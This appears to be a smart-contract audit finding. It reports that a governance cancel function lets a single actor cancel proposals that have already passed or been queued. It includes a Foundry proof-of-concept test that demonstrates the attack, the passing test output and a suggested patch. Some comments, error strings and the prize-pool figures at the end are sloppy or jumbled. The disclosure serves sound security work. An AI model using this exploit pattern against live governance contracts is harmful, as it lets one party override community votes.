Submission Details
Severity:
Unrestricted proposal cancellation allows governance process manipulation
Summary
The Governance::cancel function in the contract is overly permissive, allowing proposals to be canceled in all states except Executed. Currently, both proposers and non-proposers (if the proposer's voting power falls below the threshold) can cancel proposals at any stage, even after a successful vote (when the proposal status is Succeeded or Queued). This vulnerability enables easy manipulation of the governance process.
Vulnerability Details
function cancel(uint256 proposalId) external override {
ProposalCore storage proposal = _proposals[proposalId];
if (proposal.startTime == 0) revert ProposalDoesNotExist(proposalId);
ProposalState currentState = state(proposalId);
@> if (currentState == ProposalState.Executed) {
revert InvalidProposalState(proposalId, currentState, ProposalState.Active, "Cannot cancel executed proposal");
}
// Only proposer or if proposer's voting power dropped below threshold
if (msg.sender != proposal.proposer &&
_veToken.getVotingPower(proposal.proposer) >= proposalThreshold) {
revert InsufficientProposerVotes(proposal.proposer,
_veToken.getVotingPower(proposal.proposer), proposalThreshold, "Proposer lost required voting power");
}
proposal.canceled = true;
emit ProposalCanceled(proposalId, msg.sender, "Proposal canceled by proposer");
}
Impact
The vulnerability allows both proposers (regardless of their current voting power) and non-proposers (if the proposer's voting power falls below the threshold) to cancel proposals in any non-executed state. This allows them to easily manipulate the governance process by canceling proposals that do not align with their interests compromising the governance system (for example: protocol upgrades or treasury action could be blocked etc).
Add Foundry to the project following this procedure
Create a file named Governance.t.sol and copy/paste this:
// SPDX-License-Identifier: UNLICENSED
import {Test, console2} from "forge-std/Test.sol";
import {Governance} from "../contracts/core/governance/proposals/Governance.sol";
import {MockVeToken} from "../contracts/mocks/core/tokens/MockVeToken.sol";
import {TimelockController} from "../contracts/core/governance/proposals/TimelockController.sol";
import {TimelockTestTarget} from "../contracts/mocks/core/governance/proposals/TimelockTestTarget.sol";
import "../contracts/interfaces/core/governance/proposals/IGovernance.sol";
contract GovernanceTest is Test {
Governance public governance;
MockVeToken public veToken;
TimelockController public timelock;
TimelockTestTarget public testTarget;
address owner = makeAddr("owner");
address user1 = makeAddr("user1");
address user2 = makeAddr("user2");
address[] public proposers = new address[](1);
address[] public executors = new address[](1);
address[] public targets = new address[](1);
uint256[] public values = new uint256[](1);
bytes[] public calldatas = new bytes[](1);
string public description;
function setUp() public {
proposers[0] = owner;
executors[0] = owner;
veToken = new MockVeToken();
timelock = new TimelockController(2 * 24 * 3600, proposers, executors, owner);
governance = new Governance(address(veToken), address(timelock));
// Setup total supply
veToken.mock_setTotalSupply(10000000 ether); // 10M total supply
testTarget = new TimelockTestTarget();
// Grant roles to Governance contract
vm.startPrank(owner);
timelock.grantRole(timelock.PROPOSER_ROLE(), address(governance));
timelock.grantRole(timelock.EXECUTOR_ROLE(), address(governance));
timelock.grantRole(timelock.CANCELLER_ROLE(), address(governance));
vm.stopPrank();
//console2.log("veToken: ", address(veToken));
//console2.log("governance: ", address(governance));
//console2.log("timelock: ", address(timelock));
}
function test_canManipulateProposal() public {
// Set up voting power for the owner, user1 and user2
veToken.mock_setInitialVotingPower(owner, 4000000 ether);
veToken.mock_setVotingPower(user1, 4000000 ether);
veToken.mock_setVotingPower(user2, 2000000 ether);
//owner create proposal
vm.startPrank(owner);
targets[0] = address(testTarget);
values[0] = 0;
calldatas[0] = abi.encodeWithSignature("setValue", 42);
description = "Test Proposal";
governance.propose(targets, values, calldatas, description, IGovernance.ProposalType.ParameterChange);
vm.stopPrank();
//Checks that the proposal is pending
IGovernance.ProposalState proposalState = governance.state(0);
assertEq(uint256(proposalState), 0); //pending
vm.warp(block.timestamp + governance.votingDelay());
//Checks the proposal is active
IGovernance.ProposalState checkActiveProposalState = governance.state(0);
assertEq(uint256(checkActiveProposalState), 1); //active
//Owner, user1 and user2 vote
vm.startPrank(owner);
governance.castVote(0, true);
vm.stopPrank();
vm.startPrank(user1);
governance.castVote(0, true);
vm.stopPrank();
vm.startPrank(user2); //only user2 votes against
governance.castVote(0, false);
vm.stopPrank();
vm.warp(block.timestamp + governance.votingPeriod() + 1);
//Checks the proposal status is succeeed
IGovernance.ProposalState checkSucceedProposalState = governance.state(0);
assertEq(uint256(checkSucceedProposalState), 4); //succeed
governance.execute(0);
//checks the proposal status is queued
IGovernance.ProposalState checkQueuedProposalState = governance.state(0);
assertEq(uint256(checkQueuedProposalState), 5); //queued
//The owner voting power becomes under threashold
veToken.mock_setVotingPower(owner, 1000 ether);
//user2 can cancel the queued proposal
vm.prank(user2);
governance.cancel(0);
//Checks the proposal status is canceld
IGovernance.ProposalState checkCanceledProposalState = governance.state(0);
assertEq(uint256(checkCanceledProposalState), 2); //queued
}
}
Run: forge test --match-test test_canManipulateProposal -vv
Ran 1 test for test/Governance.t.sol:GovernanceTest
[PASS] test_canManipulateProposal() (gas: 1002668)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.19ms (1.32ms CPU time)
The test demonstrates that even if user2 votes against proposal(0) and it still passes, user2 can cancel the proposal from the queue.
Tools Used
Manual review
Recommendations
Limit the proposal cancellation also to the proposal with Succeeded and Queued states.
function cancel(uint256 proposalId) external override {
ProposalCore storage proposal = _proposals[proposalId];
if (proposal.startTime == 0) revert ProposalDoesNotExist(proposalId);
ProposalState currentState = state(proposalId);
+ if (currentState == ProposalState.Succeeded) {
revert InvalidProposalState(proposalId, currentState, ProposalState.Active, "Cannot cancel executed proposal");
}
+ if (currentState == ProposalState.Queued) {
revert InvalidProposalState(proposalId, currentState, ProposalState.Active, "Cannot cancel executed proposal");
}
if (currentState == ProposalState.Executed) {
revert InvalidProposalState(proposalId, currentState, ProposalState.Active, "Cannot cancel executed proposal");
}
// Only proposer or if proposer's voting power dropped below threshold
if (msg.sender != proposal.proposer &&
_veToken.getVotingPower(proposal.proposer) >= proposalThreshold) {
revert InsufficientProposerVotes(proposal.proposer,
_veToken.getVotingPower(proposal.proposer), proposalThreshold, "Proposer lost required voting power");
}
proposal.canceled = true;
emit ProposalCanceled(proposalId, msg.sender, "Proposal canceled by proposer");
}
Updates
Lead Judging Commences
inallhonesty 7 months ago
Submission Judgement Published Assigned finding tags:
Governance::cancel allows canceling proposals in Succeeded and Queued states, enabling single actors to override community decisions
inallhonesty 7 months ago
Submission Judgement Published Assigned finding tags:
Governance::cancel allows canceling proposals in Succeeded and Queued states, enabling single actors to override community decisions
Prize pool breakdown
Total prize
77,280 USDC
nSLOC
3,86420
USDC / LOC
74,000
3,280
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.